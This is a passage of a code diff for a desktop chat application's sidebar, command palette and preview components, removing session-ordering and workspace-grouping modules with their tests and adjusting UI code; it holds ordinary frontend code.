-import { droppedFileInlineRef } from '@/app/chat/composer/inline-refs'
 import { HERMES_PATHS_MIME } from '@/app/chat/hooks/use-composer-actions'
-import { isAddSelectionShortcut } from '@/app/right-sidebar/terminal/selection'
 import { PageLoader } from '@/components/page-loader'
 import { translateNow, useI18n } from '@/i18n'
 import { readDesktopFileDataUrl, readDesktopFileText } from '@/lib/desktop-fs'
 import { cn } from '@/lib/utils'
 import type { PreviewTarget } from '@/store/preview'
-import { $currentCwd } from '@/store/session'
 
 const SHIKI_THEME = { dark: 'github-dark-default', light: 'github-light-default' } as const
 const TEXT_PREVIEW_MAX_BYTES = 512 * 1024
@@ -291,7 +287,7 @@ const MARKDOWN_COMPONENTS = {
 
 function MarkdownPreview({ text }: { text: string }) {
   return (
-    <div className="preview-markdown mx-auto max-w-3xl px-4 py-3 text-sm text-foreground" data-selectable-text="true">
+    <div className="preview-markdown mx-auto max-w-3xl px-4 py-3 text-sm text-foreground">
       <Streamdown components={MARKDOWN_COMPONENTS} controls={false} mode="static" parseIncompleteMarkdown={false}>
         {text}
       </Streamdown>
@@ -361,38 +357,6 @@ function SourceView({ filePath, language, text }: { filePath: string; language:
     startLineDrag(event, filePath, inSelection(line) && selection ? selection : { end: line, start: line })
   }
 
-  // ⌘/Ctrl+L with a line selection drops the same `@line:path:start-end` ref the
-  // gutter drag produces — so the keyboard path mirrors dragging the lines into
-  // the composer. Capture-phase + stopPropagation so it beats the terminal's
-  // global ⌘L handler (which would otherwise grab the native text selection).
-  useEffect(() => {
-    if (!selection) {
-      return
-    }
-
-    const onKeyDown = (event: KeyboardEvent) => {
-      if (!isAddSelectionShortcut(event)) {
-        return
-      }
-
-      const lineEnd = selection.end > selection.start ? selection.end : undefined
-      const ref = droppedFileInlineRef({ line: selection.start, lineEnd, path: filePath }, $currentCwd.get())
-
-      if (!ref) {
-        return
-      }
-
-      event.preventDefault()
-      event.stopPropagation()
-      requestComposerInsertRefs([ref])
-      requestComposerFocus('main')
-    }
-
-    window.addEventListener('keydown', onKeyDown, { capture: true })
-
-    return () => window.removeEventListener('keydown', onKeyDown, { capture: true })
-  }, [filePath, selection])
-
   return (
     <div className="grid min-w-max grid-cols-[auto_minmax(0,1fr)] font-mono text-xs leading-relaxed">
       <div className="select-none py-3 text-right text-muted-foreground/55">
@@ -419,10 +383,7 @@ function SourceView({ filePath, language, text }: { filePath: string; language:
           )
         })}
       </div>
-      <div
-        className="relative [&_pre]:m-0 [&_pre]:px-3 [&_pre]:py-3 [&_pre]:bg-transparent!"
-        data-selectable-text="true"
-      >
+      <div className="relative [&_pre]:m-0 [&_pre]:px-3 [&_pre]:py-3 [&_pre]:bg-transparent!">
         {selection && (
           <div
             aria-hidden

apps/desktop/src/app/chat/scroll-to-bottom-button.tsx

@@ -1,58 +0,0 @@
-import { useStore } from '@nanostores/react'
-import { useRef } from 'react'
-
-import { Codicon } from '@/components/ui/codicon'
-import { useI18n } from '@/i18n'
-import { triggerHaptic } from '@/lib/haptics'
-import { cn } from '@/lib/utils'
-import { $threadJumpButtonVisible, requestScrollToBottom } from '@/store/thread-scroll'
-
-/**
- * Floating "jump to bottom" control. Sits centered just above the composer,
- * clearing the out-of-flow status stack via the same measured-height CSS vars
- * the thread's bottom clearance uses (`--composer-measured-height` +
- * `--status-stack-measured-height`), so it never overlaps the queue / subagent
- * / background cards. Visible only while the user has scrolled meaningfully
- * away from the bottom; clicking re-arms sticky-bottom and pins the viewport.
- *
- * Enter/exit motion lives in styles.css under `.thread-jump-button` — a
- * directional scale (contract in from 1.1, contract out to 0.9) keyed off
- * `data-state`. `idle` (never-shown) stays silent so it can't flash on mount;
- * `in`/`out` only swap once it has actually appeared.
- */
-export function ScrollToBottomButton() {
-  const { t } = useI18n()
-  const visible = useStore($threadJumpButtonVisible)
-  const hasShownRef = useRef(false)
-
-  if (visible) {
-    hasShownRef.current = true
-  }
-
-  const state = visible ? 'in' : hasShownRef.current ? 'out' : 'idle'
-
-  return (
-    <button
-      aria-hidden={!visible}
-      aria-label={t.assistant.thread.scrollToBottom}
-      className={cn(
-        'thread-jump-button absolute left-1/2 z-20 grid size-8 place-items-center rounded-full',
-        'border border-border/65 bg-(--composer-fill) text-muted-foreground hover:text-foreground',
-        'backdrop-blur-[0.75rem] [-webkit-backdrop-filter:blur(0.75rem)]',
-        !visible && 'pointer-events-none'
-      )}
-      data-state={state}
-      onClick={() => {
-        triggerHaptic('selection')
-        requestScrollToBottom()
-      }}
-      style={{
-        bottom: 'calc(var(--composer-measured-height) + var(--status-stack-measured-height) + 0.625rem)'
-      }}
-      tabIndex={visible ? 0 : -1}
-      type="button"
-    >
-      <Codicon name="arrow-down" size="1rem" />
-    </button>
-  )
-}

apps/desktop/src/app/chat/sidebar/cron-jobs-section.tsx

@@ -168,7 +168,7 @@ export function SidebarCronJobsSection({
         </button>
       </div>
       {open && (
-        <SidebarGroupContent className="flex max-h-72 flex-col gap-px overflow-x-hidden overflow-y-auto overscroll-contain pb-1.75 compact:max-h-none compact:overflow-visible">
+        <SidebarGroupContent className="flex max-h-72 flex-col gap-px overflow-y-auto overscroll-contain pb-1.75 compact:max-h-none compact:overflow-visible">
           {shown.map(job => (
             <CronJobSidebarRow
               expanded={peekJobId === job.id}

apps/desktop/src/app/chat/sidebar/order.test.ts

@@ -1,21 +0,0 @@
-import { describe, expect, it } from 'vitest'
-
-import { resolveManualSessionOrderIds } from './order'
-
-describe('resolveManualSessionOrderIds', () => {
-  it('clears legacy auto-seeded order until the user manually reorders sessions', () => {
-    expect(resolveManualSessionOrderIds(['newest', 'older'], ['older', 'newest'], false)).toEqual([])
-  })
-
-  it('keeps a manual order and surfaces newly seen sessions first', () => {
-    expect(resolveManualSessionOrderIds(['newest', 'older', 'oldest'], ['oldest', 'older'], true)).toEqual([
-      'newest',
-      'oldest',
-      'older'
-    ])
-  })
-
-  it('clears manual order when none of the saved ids still exist', () => {
-    expect(resolveManualSessionOrderIds(['newest'], ['gone'], true)).toEqual([])
-  })
-})

apps/desktop/src/app/chat/sidebar/order.ts

@@ -1,17 +0,0 @@
-export function resolveManualSessionOrderIds(currentIds: string[], orderIds: string[], manual: boolean): string[] {
-  if (!manual || !currentIds.length || !orderIds.length) {
-    return []
-  }
-
-  const current = new Set(currentIds)
-  const retained = orderIds.filter(id => current.has(id))
-
-  if (!retained.length) {
-    return []
-  }
-
-  const retainedSet = new Set(retained)
-  const fresh = currentIds.filter(id => !retainedSet.has(id))
-
-  return [...fresh, ...retained]
-}

apps/desktop/src/app/chat/sidebar/profile-switcher.tsx

@@ -467,10 +467,6 @@ function ProfileSquare({ active, color, label, onDelete, onRecolor, onRename, on
           aria-label={p.actionsFor(label)}
           className="w-40"
           collisionPadding={{ bottom: 44, left: 8, right: 8, top: 8 }}
-          // Menu close refocuses the trigger — which doubles as the popover
-          // anchor — so the picker reads it as focus-outside and dies on open.
-          // Suppress the refocus and the picker survives.
-          onCloseAutoFocus={event => event.preventDefault()}
         >
           <ContextMenuItem onSelect={() => setPickerOpen(true)}>
             <Codicon name="symbol-color" size="0.875rem" />

apps/desktop/src/app/chat/sidebar/session-actions-menu.tsx

@@ -88,7 +88,7 @@ function useSessionActions({ sessionId, title, pinned = false, profile, onPin, o
       label: r.export,
       onSelect: () => {
         triggerHaptic('selection')
-        void exportSession(sessionId, { profile, title })
+        void exportSession(sessionId, { title })
       }
     },
     {

apps/desktop/src/app/chat/sidebar/session-row.tsx

@@ -96,9 +96,7 @@ export function SidebarSessionRow({
           'group relative grid min-h-[1.625rem] cursor-pointer grid-cols-[minmax(0,1fr)_1.375rem] items-center rounded-md transition-colors duration-100 ease-out hover:bg-(--ui-row-hover-background) hover:transition-none',
           isSelected && 'bg-(--ui-row-active-background)',
           isWorking && 'text-foreground',
-          // Opaque surface while lifted so the dragged row erases what's under
-          // it (translucency let the rows below bleed through).
-          dragging && 'z-10 cursor-grabbing bg-(--ui-sidebar-surface-background)',
+          dragging && 'z-10 cursor-grabbing opacity-60 shadow-sm',
           className
         )}
         data-working={isWorking ? 'true' : undefined}

apps/desktop/src/app/chat/sidebar/virtual-session-list.tsx

@@ -1,7 +1,7 @@
-import { useSortable } from '@dnd-kit/sortable'
+import { SortableContext, useSortable, verticalListSortingStrategy } from '@dnd-kit/sortable'
 import { CSS } from '@dnd-kit/utilities'
 import { useVirtualizer } from '@tanstack/react-virtual'
-import { type FC, useCallback, useRef } from 'react'
+import { type FC, useCallback, useMemo, useRef } from 'react'
 
 import type { SessionInfo } from '@/hermes'
 import { cn } from '@/lib/utils'
@@ -48,6 +48,7 @@ export const VirtualSessionList: FC<VirtualSessionListProps> = ({
   workingSessionIdSet
 }) => {
   const scrollerRef = useRef<HTMLDivElement | null>(null)
+  const ids = useMemo(() => sessions.map(s => s.id), [sessions])
 
   const virtualizer = useVirtualizer({
     count: sessions.length,
@@ -100,16 +101,21 @@ export const VirtualSessionList: FC<VirtualSessionListProps> = ({
     )
   })
 
-  // When sortable, the caller wraps this in a ReorderableList that owns the
-  // DndContext + SortableContext (keyed on the same ids); the virtualized rows
-  // just consume that context via useSortable.
-  return (
-    <div className={cn('relative min-h-0 flex-1 overflow-x-hidden overflow-y-auto overscroll-contain', className)} ref={scrollerRef}>
+  const list = (
+    <div className={cn('relative min-h-0 flex-1 overflow-y-auto overscroll-contain', className)} ref={scrollerRef}>
       <div className="grid gap-px" style={{ paddingBottom: `${paddingBottom}px`, paddingTop: `${paddingTop}px` }}>
         {rows}
       </div>
     </div>
   )
+
+  return sortable ? (
+    <SortableContext items={ids} strategy={verticalListSortingStrategy}>
+      {list}
+    </SortableContext>
+  ) : (
+    list
+  )
 }
 
 interface VirtualSortableRowProps {

apps/desktop/src/app/chat/sidebar/workspace-groups.test.ts

@@ -1,149 +0,0 @@
-import { describe, expect, it } from 'vitest'
-
-import type { HermesWorktreeInfo } from '@/global'
-import type { SessionInfo } from '@/types/hermes'
-
-import { uniqueCwds, workspaceGroupsFor, workspaceTreeFor, type WorktreeResolver } from './workspace-groups'
-
-let nextId = 0
-
-function makeSession(cwd: null | string, overrides: Partial<SessionInfo> = {}): SessionInfo {
-  return {
-    archived: false,
-    cwd,
-    ended_at: null,
-    id: `s${nextId++}`,
-    input_tokens: 0,
-    is_active: false,
-    last_active: 1_000,
-    message_count: 1,
-    model: 'claude',
-    output_tokens: 0,
-    preview: null,
-    source: 'cli',
-    started_at: 1_000,
-    title: null,
-    tool_call_count: 0,
-    ...overrides
-  }
-}
-
-const labels = (sessions: SessionInfo[]) => workspaceGroupsFor(sessions, 'No workspace').map(g => g.label)
-
-describe('workspaceGroupsFor', () => {
-  it('groups by full cwd, not by basename — same-named folders are separate groups', () => {
-    const groups = workspaceGroupsFor(
-      [makeSession('/a/hermes-agent/apps/desktop'), makeSession('/a/hermes-agent-wt-rtl/apps/desktop')],
-      'No workspace'
-    )
-
-    expect(groups).toHaveLength(2)
-  })
-
-  it('disambiguates colliding basenames by walking up the path', () => {
-    expect(
-      labels([makeSession('/a/hermes-agent/apps/desktop'), makeSession('/a/hermes-agent-wt-rtl/apps/desktop')])
-    ).toEqual(['hermes-agent/apps/desktop', 'hermes-agent-wt-rtl/apps/desktop'])
-  })
-
-  it('leaves a unique basename as its short label', () => {
-    expect(labels([makeSession('/a/hermes-agent/apps/desktop'), makeSession('/b/heval-py')])).toEqual([
-      'desktop',
-      'heval-py'
-    ])
-  })
-
-  it('grows the prefix past one segment when the parent also collides', () => {
-    expect(labels([makeSession('/x/proj/apps/desktop'), makeSession('/y/proj/apps/desktop')])).toEqual([
-      'x/proj/apps/desktop',
-      'y/proj/apps/desktop'
-    ])
-  })
-
-  it('keeps the synthetic no-workspace group untouched even if a real group shares its label', () => {
-    const groups = workspaceGroupsFor([makeSession(null), makeSession('/a/No workspace')], 'No workspace')
-    const noWorkspace = groups.find(g => g.path === null)
-
-    expect(noWorkspace?.label).toBe('No workspace')
-  })
-})
-
-const info = (over: Partial<HermesWorktreeInfo> & Pick<HermesWorktreeInfo, 'repoRoot' | 'worktreeRoot'>): HermesWorktreeInfo => ({
-  branch: null,
-  isMainWorktree: false,
-  ...over
-})
-
-describe('workspaceTreeFor', () => {
-  it('heuristic nests `<repo>-wt-<branch>` under its sibling repo', () => {
-    const tree = workspaceTreeFor(
-      [makeSession('/www/hermes-agent'), makeSession('/www/hermes-agent-wt-rtl')],
-      'No workspace'
-    )
-
-    expect(tree).toHaveLength(1)
-    expect(tree[0].label).toBe('hermes-agent')
-    expect(tree[0].groups.map(g => g.label).sort()).toEqual(['hermes-agent', 'rtl'])
-  })
-
-  it('git metadata is authoritative — worktrees group by repoRoot regardless of directory naming', () => {
-    const resolver: WorktreeResolver = cwd => {
-      if (cwd === '/www/hermes-agent') {
-        return info({ repoRoot: '/www/hermes-agent', worktreeRoot: '/www/hermes-agent', isMainWorktree: true, branch: 'main' })
-      }
-
-      if (cwd === '/elsewhere/ha-rtl') {
-        return info({ repoRoot: '/www/hermes-agent', worktreeRoot: '/elsewhere/ha-rtl', branch: 'rtl' })
-      }
-
-      return null
-    }
-
-    const tree = workspaceTreeFor(
-      [makeSession('/www/hermes-agent'), makeSession('/elsewhere/ha-rtl')],
-      'No workspace',
-      resolver
-    )
-
-    expect(tree).toHaveLength(1)
-    expect(tree[0].label).toBe('hermes-agent')
-    // The main checkout labels by directory (its branch is transient — using it
-    // would misattribute old sessions to the currently checked-out branch);
-    // linked worktrees label by branch.
-    expect(tree[0].groups.map(g => g.label)).toEqual(['hermes-agent', 'rtl'])
-  })
-
-  it('a standalone directory is its own parent (always parent → worktree → sessions)', () => {
-    const tree = workspaceTreeFor([makeSession('/www/heval-node')], 'No workspace')
-
-    expect(tree).toHaveLength(1)
-    expect(tree[0].label).toBe('heval-node')
-    expect(tree[0].groups).toHaveLength(1)
-    expect(tree[0].groups[0].label).toBe('heval-node')
-  })
-
-  it('aggregates session counts across a repo’s worktrees', () => {
-    const tree = workspaceTreeFor(
-      [makeSession('/www/ha'), makeSession('/www/ha-wt-x'), makeSession('/www/ha-wt-x')],
-      'No workspace'
-    )
-
-    const parent = tree.find(p => p.label === 'ha')
-
-    expect(parent?.sessionCount).toBe(3)
-  })
-
-  it('no-workspace sessions form their own parent', () => {
-    const tree = workspaceTreeFor([makeSession(null)], 'No workspace')
-
-    expect(tree).toHaveLength(1)
-    expect(tree[0].label).toBe('No workspace')
-    expect(tree[0].path).toBeNull()
-  })
-})
-
-describe('uniqueCwds', () => {
-  it('dedupes and drops empty/whitespace cwds', () => {
-    expect(uniqueCwds([makeSession('/a'), makeSession('/a'), makeSession(null), makeSession('   ')])).toEqual(['/a'])
-  })
-})

apps/desktop/src/app/chat/sidebar/workspace-groups.ts

@@ -1,326 +0,0 @@
-import type { HermesWorktreeInfo } from '@/global'
-import type { SessionInfo } from '@/hermes'
-
-export interface SidebarSessionGroup {
-  id: string
-  label: string
-  path: null | string
-  sessions: SessionInfo[]
-  // Profile color for the ALL-profiles view; absent for workspace groups.
-  color?: null | string
-  loadingMore?: boolean
-  mode?: 'profile' | 'source' | 'workspace'
-  onLoadMore?: () => void
-  sourceId?: string
-  totalCount?: number
-}
-
-const NO_WORKSPACE_ID = '__no_workspace__'
-
-/** Path split into segments, ignoring trailing slashes and mixed separators. */
-const segments = (path: string): string[] => path.replace(/[/\\]+$/, '').split(/[/\\]/).filter(Boolean)
-
-/** Last path segment. */
-export const baseName = (path: string): string | undefined => segments(path).pop()
-
-/** The segments above the basename. */
-const parentSegments = (path: string): string[] => segments(path).slice(0, -1)
-
-interface Labelable {
-  id: string
-  label: string
-  path: null | string
-}
-
-/**
- * Disambiguate groups whose basename collides (worktrees all end in the same
- * `apps/desktop`, sibling repos share a folder name, etc.) by walking up the
- * path and prepending parent segments until each colliding label is unique —
- * e.g. `hermes-agent/desktop` vs `hermes-agent-wt-rtl/desktop`. Groups with a
- * unique basename keep their short label untouched.
- */
-function disambiguateLabels(groups: Labelable[]): void {
-  const byLabel = new Map<string, Labelable[]>()
-
-  for (const group of groups) {
-    const bucket = byLabel.get(group.label)
-
-    if (bucket) {
-      bucket.push(group)
-    } else {
-      byLabel.set(group.label, [group])
-    }
-  }
-
-  for (const bucket of byLabel.values()) {
-    if (bucket.length < 2) {
-      continue
-    }
-
-    // Only groups backed by a real path can grow a prefix; the synthetic
-    // "No workspace" group has no path and stays as-is.
-    const pathed = bucket.filter(group => group.path)
-
-    if (pathed.length < 2) {
-      continue
-    }
-
-    const parents = new Map(pathed.map(group => [group.id, parentSegments(group.path!)]))
-    let depth = 1
-
-    // Grow the prefix one parent segment at a time until every label in the
-    // bucket is distinct, or we run out of parent segments to add.
-    while (depth <= Math.max(...pathed.map(g => parents.get(g.id)!.length))) {
-      const labels = new Map<string, number>()
-
-      for (const group of pathed) {
-        const segs = parents.get(group.id)!
-        const prefix = segs.slice(-depth).join('/')
-        const base = baseName(group.path!) ?? group.path!
-        group.label = prefix ? `${prefix}/${base}` : base
-        labels.set(group.label, (labels.get(group.label) ?? 0) + 1)
-      }
-
-      if ([...labels.values()].every(count => count === 1)) {
-        break
-      }
-
-      depth += 1
-    }
-  }
-}
-
-export function workspaceGroupsFor(
-  sessions: SessionInfo[],
-  noWorkspaceLabel: string,
-  options: { preserveSessionOrder?: boolean } = {}
-): SidebarSessionGroup[] {
-  const groups = new Map<string, SidebarSessionGroup>()
-
-  for (const session of sessions) {
-    const path = session.cwd?.trim() || ''
-    const id = path || NO_WORKSPACE_ID
-    const label = baseName(path) || path || noWorkspaceLabel
-
-    const group = groups.get(id) ?? { id, label, path: path || null, sessions: [] }
-    group.sessions.push(session)
-    groups.set(id, group)
-  }
-
-  if (!options.preserveSessionOrder) {
-    // Groups keep recency order (Map insertion = first-seen in the recency-sorted
-    // input, so an active project floats up), but rows *within* a group sort by
-    // creation time so they don't reshuffle every time a message lands — keeps
-    // muscle memory intact.
-    for (const group of groups.values()) {
-      group.sessions.sort((a, b) => b.started_at - a.started_at)
-    }
-  }
-
-  const result = [...groups.values()]
-  disambiguateLabels(result)
-
-  return result
-}
-
-/**
- * A worktree's main repo and all its linked worktrees collapse into ONE parent
- * (keyed by the repo root); each worktree is a child group; sessions hang off
- * the worktree they ran in. `parent → worktree → sessions`.
- */
-export interface SidebarWorkspaceTree {
-  id: string
-  label: string
-  path: null | string
-  groups: SidebarSessionGroup[]
-  sessionCount: number
-}
-
-/** Resolves a session cwd to git-worktree identity (from the local fs probe). */
-export type WorktreeResolver = (cwd: string) => HermesWorktreeInfo | null | undefined
-
-interface WorkspacePlacement {
-  parentKey: string
-  parentLabel: string
-  parentPath: string
-  worktreeKey: string
-  worktreeLabel: string
-  worktreePath: string
-}
-
-/** Replace a path's final segment, preserving its prefix + separators. */
-const withBaseName = (path: string, name: string): string =>
-  path.replace(/[/\\]+$/, '').replace(/[^/\\]+$/, name)
-
-/**
- * Path-only fallback for when git metadata is unavailable (remote backends,
- * unreadable paths). Mirrors the git layout: a `<repo>-wt-<branch>` directory
- * nests under its sibling `<repo>`; any other directory is its own repo root.
- */
-function placeByHeuristic(path: string): WorkspacePlacement | null {
-  const base = baseName(path)
-
-  if (!base) {
-    return null
-  }
-
-  const worktreeMatch = base.match(/^(.+)-wt-(.+)$/)
-
-  if (worktreeMatch) {
-    const repo = worktreeMatch[1]
-    const repoPath = withBaseName(path, repo)
-
-    return {
-      parentKey: repoPath,
-      parentLabel: repo,
-      parentPath: repoPath,
-      worktreeKey: path,
-      worktreeLabel: worktreeMatch[2],
-      worktreePath: path
-    }
-  }
-
-  return {
-    parentKey: path,
-    parentLabel: base,
-    parentPath: path,
-    worktreeKey: path,
-    worktreeLabel: base,
-    worktreePath: path
-  }
-}
-
-function placeWorkspace(path: string, resolver?: WorktreeResolver): WorkspacePlacement | null {
-  const info = resolver?.(path)
-
-  if (info?.repoRoot && info.worktreeRoot) {
-    const dirLabel = baseName(info.worktreeRoot) || info.worktreeRoot
-
-    return {
-      parentKey: info.repoRoot,
-      parentLabel: baseName(info.repoRoot) ?? info.repoRoot,
-      parentPath: info.repoRoot,
-      worktreeKey: info.worktreeRoot,
-      // The main checkout's branch is transient — it changes as you work, so a
-      // branch label would misattribute every past session to whatever branch
-      // is checked out *now*. Label it by directory. Linked worktrees are
-      // per-branch by construction, so branch is the clearest label there.
-      worktreeLabel: info.isMainWorktree ? dirLabel : info.branch || dirLabel,
-      worktreePath: info.worktreeRoot
-    }
-  }
-
-  return placeByHeuristic(path)
-}
-
-/** Unique, non-empty session cwds — the batch to probe for worktree info. */
-export function uniqueCwds(sessions: SessionInfo[]): string[] {
-  const seen = new Set<string>()
-
-  for (const session of sessions) {
-    const path = session.cwd?.trim()
-
-    if (path) {
-      seen.add(path)
-    }
-  }
-
-  return [...seen]
-}
-
-/**
- * Build the `parent → worktree → sessions` tree. Parents keep recency order
- * (first-seen in the recency-sorted input); worktree groups within a parent do
- * too, while rows inside a worktree sort by creation time (stable muscle memory,
- * matching `workspaceGroupsFor`).
- */
-export function workspaceTreeFor(
-  sessions: SessionInfo[],
-  noWorkspaceLabel: string,
-  resolver?: WorktreeResolver,
-  options: { preserveSessionOrder?: boolean } = {}
-): SidebarWorkspaceTree[] {
-  interface WorktreeEntry {
-    group: SidebarSessionGroup
-    parentKey: string
-    parentLabel: string
-    parentPath: string
-  }
-
-  const worktrees = new Map<string, WorktreeEntry>()
-  const noWorkspace: SessionInfo[] = []
-
-  for (const session of sessions) {
-    const path = session.cwd?.trim() || ''
-
-    if (!path) {
-      noWorkspace.push(session)
-
-      continue
-    }
-
-    const placement = placeWorkspace(path, resolver)
-
-    if (!placement) {
-      noWorkspace.push(session)
-
-      continue
-    }
-
-    let entry = worktrees.get(placement.worktreeKey)
-
-    if (!entry) {
-      entry = {
-        group: { id: placement.worktreeKey, label: placement.worktreeLabel, path: placement.worktreePath, sessions: [] },
-        parentKey: placement.parentKey,
-        parentLabel: placement.parentLabel,
-        parentPath: placement.parentPath
-      }
-      worktrees.set(placement.worktreeKey, entry)
-    }
-
-    entry.group.sessions.push(session)
-  }
-
-  if (!options.preserveSessionOrder) {
-    for (const entry of worktrees.values()) {
-      entry.group.sessions.sort((a, b) => b.started_at - a.started_at)
-    }
-  }
-
-  const parents = new Map<string, SidebarWorkspaceTree>()
-
-  for (const entry of worktrees.values()) {
-    let parent = parents.get(entry.parentKey)
-
-    if (!parent) {
-      parent = { id: entry.parentKey, label: entry.parentLabel, path: entry.parentPath, groups: [], sessionCount: 0 }
-      parents.set(entry.parentKey, parent)
-    }
-
-    parent.groups.push(entry.group)
-    parent.sessionCount += entry.group.sessions.length
-  }
-
-  const result = [...parents.values()]
-
-  if (noWorkspace.length) {
-    result.push({
-      id: NO_WORKSPACE_ID,
-      label: noWorkspaceLabel,
-      path: null,
-      groups: [{ id: NO_WORKSPACE_ID, label: noWorkspaceLabel, path: null, sessions: noWorkspace }],
-      sessionCount: noWorkspace.length
-    })
-  }
-
-  // Parents that collide on basename grow a path prefix; worktree labels that
-  // collide inside a parent do the same.
-  disambiguateLabels(result)
-
-  for (const parent of result) {
-    disambiguateLabels(parent.groups)
-  }
-
-  return result
-}

apps/desktop/src/app/chat/thread-loading.ts

@@ -3,14 +3,9 @@ import type { ChatMessage } from '@/lib/chat-messages'
 export type ThreadLoadingState = 'response' | 'session'
 
 export function lastVisibleMessageIsUser(messages: ChatMessage[]): boolean {
-  // Allocation-free reverse scan — runs in a hot $messages computed.
-  for (let i = messages.length - 1; i >= 0; i -= 1) {
-    if (!messages[i].hidden) {
-      return messages[i].role === 'user'
-    }
-  }
+  const lastVisible = [...messages].reverse().find(message => !message.hidden)
 
-  return false
+  return lastVisible?.role === 'user'
 }
 
 export function threadLoadingState(

apps/desktop/src/app/command-palette/index.tsx

@@ -7,8 +7,8 @@ import { useNavigate } from 'react-router-dom'
 import { HUD_HEADING, HUD_ITEM, HUD_POSITION, HUD_SURFACE, HUD_TEXT } from '@/app/floating-hud'
 import { setTerminalTakeover } from '@/app/right-sidebar/store'
 import { Command, CommandEmpty, CommandGroup, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
-import { KbdCombo } from '@/components/ui/kbd'
-import { getHermesConfigRecord, listAllProfileSessions } from '@/hermes'
+import { KbdGroup } from '@/components/ui/kbd'
+import { getHermesConfigRecord, listSessions } from '@/hermes'
 import { useI18n } from '@/i18n'
 import { sessionTitle } from '@/lib/chat-runtime'
 import {
@@ -38,6 +38,7 @@ import {
   Wrench,
   Zap
 } from '@/lib/icons'
+import { comboTokens } from '@/lib/keybinds/combo'
 import { cn } from '@/lib/utils'
 import { $commandPaletteOpen, closeCommandPalette, setCommandPaletteOpen } from '@/store/command-palette'
 import { $bindings } from '@/store/keybinds'
@@ -118,11 +119,7 @@ const paletteFilter = (value: string, search: string, keywords?: string[]): numb
   return needle.split(/\s+/).every(term => haystack.includes(term)) ? 1 : 0
 }
 
-// Hermes session ids: <YYYYMMDD>_<HHMMSS>_<6 hex>. Used to offer a direct
-// "Go to session ‹id›" jump for ids that aren't in the recent-200 list.
-const SESSION_ID_RE = /^\d{8}_\d{6}_[a-f0-9]{6}$/
-
-type SessionRow = Awaited<ReturnType<typeof listAllProfileSessions>>['sessions'][number]
+type SessionRow = Awaited<ReturnType<typeof listSessions>>['sessions'][number]
 
 const toSessionEntry = (session: SessionRow): SessionEntry => ({
   id: session.id,
@@ -221,13 +218,13 @@ export function CommandPalette() {
 
   const sessionsQuery = useQuery({
     queryKey: ['command-palette', 'sessions'],
-    queryFn: () => listAllProfileSessions(200, 1, 'exclude'),
+    queryFn: () => listSessions(200, 1, 'exclude'),
     enabled: open
   })
 
   const archivedQuery = useQuery({
     queryKey: ['command-palette', 'archived'],
-    queryFn: () => listAllProfileSessions(200, 0, 'only'),
+    queryFn: () => listSessions(200, 0, 'only'),
     enabled: open
   })
 
@@ -417,24 +414,6 @@ export function CommandPalette() {
 
     const result: PaletteGroup[] = []
 
-    // Paste a raw session id → jump straight to it, even if it predates the
-    // recent-200 window the lists below are built from.
-    const directId = search.trim()
-
-    if (SESSION_ID_RE.test(directId)) {
-      result.push({
-        items: [
-          {
-            icon: MessageCircle,
-            id: `goto-${directId}`,
-            keywords: ['session', 'id', 'go to', directId],
-            label: `${t.commandCenter.goToSession} ${directId}`,
-            run: go(sessionRoute(directId))
-          }
-        ]
-      })
-    }
-
     if (sessions.length > 0) {
       result.push({
         heading: t.commandCenter.sections.sessions,
@@ -641,6 +620,7 @@ export function CommandPalette() {
                   {group.items.map(item => {
                     const Icon = item.icon
                     const combo = item.action ? bindings[item.action]?.[0] : undefined
+                    const keys = combo ? comboTokens(combo) : null
 
                     return (
                       <CommandItem
@@ -652,10 +632,10 @@ export function CommandPalette() {
                       >
                         <Icon className="size-3.5 shrink-0 text-muted-foreground" />
                         <span className="truncate">{item.label}</span>
-                        {combo && <KbdCombo className="ml-auto opacity-55" combo={combo} size="sm" />}
+                        {keys && <KbdGroup className="ml-auto" keys={keys} />}
                         {item.to && (
                           <ChevronRight
-                            className={cn('size-3.5 shrink-0 text-muted-foreground/70', !combo && 'ml-auto')}
+                            className={cn('size-3.5 shrink-0 text-muted-foreground/70', !keys && 'ml-auto')}
                           />
                         )}
                       </CommandItem>

apps/desktop/src/app/desktop-controller.tsx

@@ -11,6 +11,7 @@ import { Pane, PaneMain } from '@/components/pane-shell'
 import { useMediaQuery } from '@/hooks/use-media-query'
 import { useSkinCommand } from '@/themes/use-skin-command'
 
+import { requestComposerFocus, requestComposerInsert } from './chat/composer/focus'
 import { formatRefValue } from '../components/assistant-ui/directive-text'
 import { getCronJobs, getSessionMessages, listAllProfileSessions, type SessionInfo, triggerCronJob } from '../hermes'
 import { preserveLocalAssistantErrors, toChatMessages } from '../lib/chat-messages'
@@ -20,7 +21,6 @@ import {
   MESSAGING_SESSION_SOURCE_IDS,
   normalizeSessionSource
 } from '../lib/session-source'
-import { latestSessionTodos } from '../lib/todos'
 import { setCronFocusJobId, setCronJobs } from '../store/cron'
 import {
   $panesFlipped,
@@ -76,12 +76,10 @@ import {
   setSessionsLoading,
   setSessionsTotal
 } from '../store/session'
-import { clearSessionTodos, setSessionTodos, todoListActive } from '../store/todos'
 import { openUpdatesWindow, startUpdatePoller, stopUpdatePoller } from '../store/updates'
 import { isSecondaryWindow } from '../store/windows'
 
 import { ChatView } from './chat'
-import { requestComposerFocus, requestComposerInsert } from './chat/composer/focus'
 import { useComposerActions } from './chat/hooks/use-composer-actions'
 import {
   ChatPreviewRail,
@@ -143,7 +141,7 @@ const CRON_POLL_INTERVAL_MS = 30_000
 // self-managed sidebar section (refreshMessagingSessions). Excluding both here
 // keeps "Load more" paging through interactive local chats instead of
 // interleaving gateway threads that bury them.
-const SIDEBAR_EXCLUDED_SOURCES = ['cron', 'subagent', 'tool', ...MESSAGING_SESSION_SOURCE_IDS]
+const SIDEBAR_EXCLUDED_SOURCES = ['cron', ...MESSAGING_SESSION_SOURCE_IDS]
 // The messaging slice is the inverse: drop cron + every local source so only
 // external-platform conversations remain, then split per platform in the UI.
 const MESSAGING_EXCLUDED_SOURCES = ['cron', ...LOCAL_SESSION_SOURCE_IDS]
@@ -275,27 +273,22 @@ export function DesktopController() {
   // the shared command handler) creates the job. Signal readiness so a link
   // that arrived during boot is flushed exactly once.
   useEffect(() => {
-    const unsubscribe = window.hermesDesktop?.onDeepLink?.(payload => {
+    const unsubscribe = window.hermesDesktop?.onDeepLink?.((payload) => {
       if (!payload || payload.kind !== 'blueprint' || !payload.name) {
         return
       }
-
       const slots = Object.entries(payload.params || {})
         .map(([k, v]) => {
           const sval = /\s/.test(v) ? `"${v.replace(/"/g, '\\"')}"` : v
-
           return `${k}=${sval}`
         })
         .join(' ')
-
